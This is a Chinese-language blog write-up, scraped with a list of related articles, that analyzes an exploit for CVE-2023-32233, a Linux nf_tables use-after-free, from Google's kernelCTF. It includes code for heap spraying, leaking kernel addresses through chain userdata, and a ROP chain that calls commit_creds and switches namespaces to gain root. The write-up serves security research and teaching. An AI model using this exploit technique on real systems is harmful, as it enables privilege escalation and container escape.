这是对前文的补充,增加一种漏洞利用方案的分析,前文地址:

https://www.cnblogs.com/hac425/p/17967844/cve202332233-vulnerability-analysis-and-utilization-qrjoh

前文的漏洞利用的策略是通过占位 set 让 ext 指针错位,从而越界销毁相邻的 expr 实现任意地址读写。

static void nf_tables_set_elem_destroy(const struct nft_ctx *ctx,
const struct nft_set *set, void *elem)
{
struct nft_set_ext *ext = nft_set_elem_ext(set, elem); if (nft_set_ext_exists(ext, NFT_SET_EXT_EXPRESSIONS))
nft_set_elem_expr_destroy(ctx, nft_set_ext_expr(ext)); kfree(elem);
}

本文的思路则是利用 NFT_MSG_DELSET 来使用 UAF 的 set,实现 set->name 的 double free.

static void nft_set_destroy(const struct nft_ctx *ctx, struct nft_set *set)
{
int i;
if (WARN_ON(set->use > 0))
return; for (i = 0; i < set->num_exprs; i++)
nft_expr_destroy(ctx, set->exprs[i]); set->ops->destroy(set);
nft_set_catchall_destroy(ctx, set);
kfree(set->name); // set->name double free
kvfree(set);
} static void nft_commit_release(struct nft_trans *trans)
{
switch (trans->msg_type) {
case NFT_MSG_DELSET:
nft_set_destroy(&trans->ctx, nft_trans_set(trans));
break;

具体的步骤如下:

  1. 创建 匿名 set (pwn_lookup_set)
  2. 创建 rule 其中包含一个 lookup expr,该 expr 引用 pwn_lookup_set
  3. 下发 netlink 批处理请求,批处理中有两个请求:NFT_MSG_DELRULE、NFT_MSG_DELSET
  4. nft_commit_release 处理 NFT_MSG_DELRULE 删除 rule 和 lookup expr,同时会释放 pwn_lookup_set
  5. nft_commit_release 处理 NFT_MSG_DELSET 时就会引用已经释放的 pwn_lookup_set,尝试再次释放 set.

在 4-5 之间使用另一个 set (race_set)占位,内核执行完 5 后, race_set 和 race_set->name 的内存就会被释放,漏洞就转换为 race_set 的 UAF

​​​​​​

控制 race_set 的 name 长度可以获取 dyn-kmalloc-256 的 UAF,堆喷 race_set 控制 name 的代码如下

    for (int spray = 0; spray != 0x20; ++ spray) {
char *set_name;
asprintf(&set_name, "race_set_%0200hx", spray); // 分配 209 大小的 set_name
pwn_create_set(batch, seq++, set_name, spray, NFT_SET_ANONYMOUS, sizeof(uaf_set_key), set_desc_size, 0, 0);
}

为了获取方便的内存读写能力,使用 chain->udata 占位 set->name,然后释放 set 就能实现 chain->udata 的 uaf,分配 udata 的代码如下:

static int nf_tables_addchain(struct nft_ctx *ctx, u8 family, u8 genmask,
u8 policy, u32 flags,
struct netlink_ext_ack *extack)
... if (nla[NFTA_CHAIN_USERDATA]) {
chain->udata = nla_memdup(nla[NFTA_CHAIN_USERDATA], GFP_KERNEL_ACCOUNT); // [4]
if (chain->udata == NULL) {
err = -ENOMEM;
goto err_destroy_chain;
}
chain->udlen = nla_len(nla[NFTA_CHAIN_USERDATA]);
}

堆喷 chain->udata 占位的相关代码:

    for(int i = 0 ; i < 0x20; i++){
char *chain_name;
asprintf(&chain_name, "spray_chain_%08hx", i);
pwn_create_leak_chain(batch, seq++, chain_name);
}

之后通过 NFT_MSG_GETCHAIN 就能读取 chain->udata 的数据,找一个有指针的对象占位 udata,就能泄露内核地址,这边使用的是 nft_rule 结构体:

rule 结构中的优点如下:

  • list 指针指向堆喷的相邻 rule,通过它可以泄露相邻堆块的地址,然后结合堆喷可以在相应地址上伪造数据。
  • rule 里面会内嵌 expr, expr 里面的 ops 指针保存了 KO 的地址,可以用来计算 gadget 的地址
  • rule 结构体占用的内存大小用户态可以控制

rule 占位后通过 NFT_MSG_GETCHAIN 通过 chain->udata 读出对象的数据,泄露相关地址:

        struct nlmsghdr *nlh = nftnl_nlmsg_build_hdr(
mnl_batch_buffer,
NFT_MSG_GETCHAIN,
NFPROTO_INET,
NLM_F_ACK,
seq
); char *chain_name;
asprintf(&chain_name, "spray_chain_%08hx", i); nftnl_chain_set_str(chain, NFTNL_CHAIN_NAME, chain_name);
nftnl_chain_set_str(chain, NFTNL_CHAIN_TABLE, "testfirewall");
nftnl_chain_nlmsg_build_payload(nlh, chain);
nftnl_chain_free(chain); if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) {
err(1, "Cannot into mnl_socket_sendto()");
} memset(mnl_batch_buffer, 0, sizeof(mnl_batch_buffer)); mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit); nft_counter_ops = *(unsigned long*) &mnl_batch_buffer[0x74];
kbase = nft_counter_ops - NFT_COUNTER_OPS;
heap_addr = *(unsigned long*) &mnl_batch_buffer[0x64];
victim_rule_handle = *(unsigned long*) &mnl_batch_buffer[0x6c] & 0xffff;

泄露出堆地址和内核代码地址后,再利用 chain->udata 来伪造 rule 结构和 nft_counter expr

最后 NFT_MSG_DELRULE 触发 expr->ops->deactivate​ 的调用进入 ROP

void make_payload_rop(uint64_t* data){
int i = 0; data[i++] = kbase + POP_RSI_RET; // dummy
data[i++] = 0; data[i++] = kbase + POP_RSI_RET; // dummy
data[i++] = 0; data[i++] = kbase + POP_RSI_RET; // dummy
data[i++] = kbase + PUSH_RAX_POP_RSP; // expr->ops->deactivate() // find_task_by_vpid(1)
data[i++] = kbase + POP_RDI_RET;
data[i++] = 1;
data[i++] = kbase + FIND_TASK_BY_VPID; // switch_task_namespaces(find_task_by_vpid(1), &init_nsproxy)
data[i++] = kbase + MOV_RDI_RAX_RET;
data[i++] = kbase + POP_RSI_RET;
data[i++] = kbase + INIT_NSPROXY;
data[i++] = kbase + SWITCH_TASK_NAMESPACES; // commit_creds(&init_cred)
data[i++] = kbase + POP_RDI_RET;
data[i++] = kbase + INIT_CRED;
data[i++] = kbase + COMMIT_CREDS; data[i++] = kbase + VFORK;
data[i++] = kbase + DELAY;
}

总结

struct rule 这种结构体中同时存在链表指针、内核镜像/ko地址 的对象是用于地址泄露非常理想的对象,可以同时泄露出堆地址和代码段地址,一般堆地址可能还可以通过内核逻辑进行占位从而控制数据,实现在内核特定地址中布置数据的功能,这个能力对于伪造内核对象来说是非常重要的功能。

对于桌面端内核漏洞 (ubuntu 有 ns 权限) 利用而言,netlink 里面的这些对象可以很方便的辅助漏洞利用。

参考

  1. https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-32233_mitigation/docs/exploit.md

CVE-2023-32233 在 Google KCTF 中的漏洞利用方案分析的更多相关文章

  1. Linux64位程序中的漏洞利用

    之前在栈溢出漏洞的利用和缓解中介绍了栈溢出漏洞和一些常见的漏洞缓解 技术的原理和绕过方法, 不过当时主要针对32位程序(ELF32). 秉承着能用就不改的态度, IPv4还依然是互联网的主导, 更何况 ...

  2. Google 云计算中的 GFS 体系结构

          google 公司的很多业务具有数据量巨大的特点,为此,google 公司研发了云计算技术.google 云计 算结构中的 google 文件系统是其云计算技术中的三大法宝之一.本文主要介 ...

  3. 关于Google Chorme中字体小于12px的问题

    问题:当字体大小设置成小于12px时,Google chrome中字体的大小始终显示为12px. 而其他浏览器则没有这个问题. 这时只需要在要改变字体大小的元素中添加 -webkit-transfor ...

  4. Google Chrome中的高性能网络 (三)

    使用预连接优化了TCP连接管理 已经预解析到了主机名,也有了由OmniBox和Chrome Predictor提供信号,预示着用户未来的操作.为什么再进一步连接到目标主机,在用户真正发起请求前完成TC ...

  5. 如何在google test中指定只运行一部分测试

    博客搬到了fresky.github.io - Dawei XU,请各位看官挪步.最新的一篇是:如何在google test中指定只运行一部分测试.

  6. google chrome中如何删除一条输入网址提示

    在google chrome中网站栏输入字母的时候会出现网址的提示,如下图: 之前遇到个问题,不知道之前打错了www.baidu.com为wwww.baidu.com(也会跳转到百度)导致一输入“w” ...

  7. 如何在Google Map中处理大量标记(ASP.NET)(转)

    如何在Google Map中处理大量标记(ASP.NET)(原创-翻译) Posted on 2010-07-29 22:04 Happy Coding 阅读(8827) 评论(8) 编辑 收藏 在你 ...

  8. Google搜索中的突变XSS-JavaScript Library Introduced XSS Flaw in Google Search

    前言2018年9月26日,开源Closure库(最初由谷歌创建并用于谷歌搜索)的一名开发人员创建了一个提交,删除了部分输入过滤.据推测,这是因为开发人员在用户界面设计方面出现了问题.但此次提交的开发人 ...

  9. Excel与Google Sheets中实现线性规划求解

    很久没更新过APS系列文章了,这段时间项目工作确实非常紧,所以只能抽点时间学习一下运筹学的入门知识,算是为以后的APS项目积累点基础.看了一些运筹学的书(都是科普级别的)发现原来我目前面对的很多排产. ...

  10. Android技巧分享——如何用电脑下载在Google play中应用的apk文件

    [Android技巧分享系列] 1.Android技巧分享——让官方模拟器和genymotion虚拟机飞起来 2.Android技巧分享——如何用电脑下载在Google play中应用的apk文件 G ...

随机推荐

  1. 1Before You Install Flask...Watch This! Flask Fridays #1

    flask官网: https://flask.github.net.cn/ git官网: https://git-scm.com/ 建立文件: 建立虚拟环境.激活: source virt/Scrip ...

  2. 在 ArkTS 中,如何有效地进行内存管理和避免内存泄漏?

    ArkTS 是鸿蒙生态的应用开发语言,它在 TypeScript 的基础上进行了优化和定制,以适应鸿蒙系统的需求. 以下是在 ArkTS 中进行有效的内存管理和避免内存泄漏: 1. 使用 const ...

  3. Python技术书示例代码相关内容

    二维码用微信扫,按提示填写你的邮箱,转到电脑上打开邮箱下载.清华国企网盘,比较快速.安全.放心下载. 百度网盘链接 用Edge/Chrome浏览器下载. <Python自动化运维快速入门> ...

  4. JDBC 和 Mybatis

    使用JDBC连接操作数据库 Mybatis是JDBC的二次封装 使用更加简单了

  5. Android复习(五)设备兼容—>支持刘海屏

    支持刘海屏 刘海屏是指某些设备显示屏上的一个区域延伸到显示面,这样既能为用户提供全面屏体验,又能为设备正面的重要传感器留出空间.Android 在搭载 Android 9(API 级别 28)及更高版 ...

  6. JOI Open 2016

    T1 JOIRIS 你在玩俄罗斯方块,游戏区域是一个宽度为 \(n\),高度足够大的矩形网格.初始时第 \(i\) 列有 \(a_i\) 个方块. 给定参数 \(k\),你可以做不超过 \(10^4\ ...

  7. Python 实现Excel XLS和XLSX格式相互转换

    在日常工作中,我们经常需要处理和转换不同格式的Excel文件,以适应不同的需求和软件兼容性.Excel文件的两种常见格式是XLS(Excel 97-2003)和XLSX(Excel 2007及以上版本 ...

  8. How To Delete Reservations Using Standard API INV_RESERVATION_PUB.Delete_Reservation (Doc ID 2219367.1)

    Solution Summary: The reservation API INV_RESERVATION_PUB.Delete_Reservation will delete reservation ...

  9. 59 张高清大图,带你实战入门 KubeSphere DevOps

    作者:运维有术星主 KubeSphere 基于 Jenkins 的 DevOps 系统是专为 Kubernetes 中的 CI/CD 工作流设计的,它提供了一站式的解决方案,帮助开发和运维团队用非常简 ...

  10. VictoriaMetrics 中文教程(10)集群版介绍

    VictoriaMetrics 中文教程系列文章: VictoriaMetrics 中文教程(01)简介 VictoriaMetrics 中文教程(02)安装 VictoriaMetrics 中文教程 ...